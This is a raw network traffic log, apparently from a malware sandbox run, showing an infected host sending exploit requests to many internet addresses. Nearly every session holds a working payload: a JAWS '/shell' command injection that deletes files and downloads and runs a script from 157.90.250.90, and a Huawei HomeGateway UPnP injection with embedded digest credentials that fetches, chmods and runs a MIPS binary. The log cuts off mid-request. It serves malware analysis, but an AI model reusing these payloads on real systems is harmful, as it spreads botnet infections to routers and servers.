Jan 2, 2024 06:24:14.253972054 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:14.603568077 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:24:14 GMT Date: Tue, 02 Jan 2024 05:24:14 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 39 37 66 30 32 38 31 37 26 23 34 36 3b 31 37 30 34 31 37 33 30 35 34 26 23 34 36 3b 31 37 38 64 32 65 39 61 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.97f02817.1704173054.178d2e9a</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
169	192.168.2.23	37612	23.208.169.8	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:14.264262915 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:14.624702930 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:24:14 GMT Date: Tue, 02 Jan 2024 05:24:14 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 34 62 34 64 31 31 37 26 23 34 36 3b 31 37 30 34 31 37 33 30 35 34 26 23 34 36 3b 34 65 30 39 63 36 61 61 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.14b4d117.1704173054.4e09c6aa</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
170	192.168.2.23	55714	45.66.79.133	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:14.281778097 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:14.518739939 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:24:14 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
171	192.168.2.23	52768	49.232.101.104	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:14.631186962 CET	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 31 33 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:13Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
172	192.168.2.23	56446	23.204.125.106	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:14.743068933 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
173	192.168.2.23	41682	157.245.212.163	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:14.930071115 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:15.093712091 CET	450	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:15 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.3.31 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
174	192.168.2.23	38990	173.246.114.17	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:15.084513903 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:15.238720894 CET	643	IN	HTTP/1.1 302 Found Date: Tue, 02 Jan 2024 05:24:14 GMT Server: Apache Location: http://www.car-parts.com/?cd+/tmp;rm+-rf+;wget+ Content-Length: 348 Keep-Alive: timeout=2, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 X-Pad: avoid browser bug Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 63 61 72 2d 70 61 72 74 73 2e 63 6f 6d 2f 3f 63 64 2b 2f 74 6d 70 3b 72 6d 2b 2d 72 66 2b 2a 3b 77 67 65 74 2b 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 77 65 62 6d 61 73 74 65 72 40 63 61 72 2d 70 61 72 74 2e 63 6f 6d 22 3e 74 72 61 64 65 38 32 37 39 2e 63 61 72 2d 70 61 72 74 2e 63 6f 6d 3c 2f 61 3e 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="http://www.car-parts.com/?cd+/tmp;rm+-rf+;wget+">here</a>.</p><hr><address>Apache Server at <a href="mailto:webmaster@car-part.com">trade8279.car-part.com</a> Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
175	192.168.2.23	51466	34.225.232.165	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:15.088251114 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:15.246634007 CET	401	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Tue, 02 Jan 2024 05:24:15 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
176	192.168.2.23	47170	103.39.16.68	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:15.125482082 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:15.420337915 CET	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 02 Jan 2024 05:24:15 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
177	192.168.2.23	49346	13.55.87.229	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:15.126337051 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:15.422188044 CET	78	IN	HTTP/1.1 400 BAD_REQUEST Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port
178	192.168.2.23	52786	49.232.101.104	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:15.390584946 CET	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 31 34 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:14Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
179	192.168.2.23	39512	156.235.98.9	37215

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:15.985357046 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:20.109899998 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:26.253061056 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:38.283344984 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope 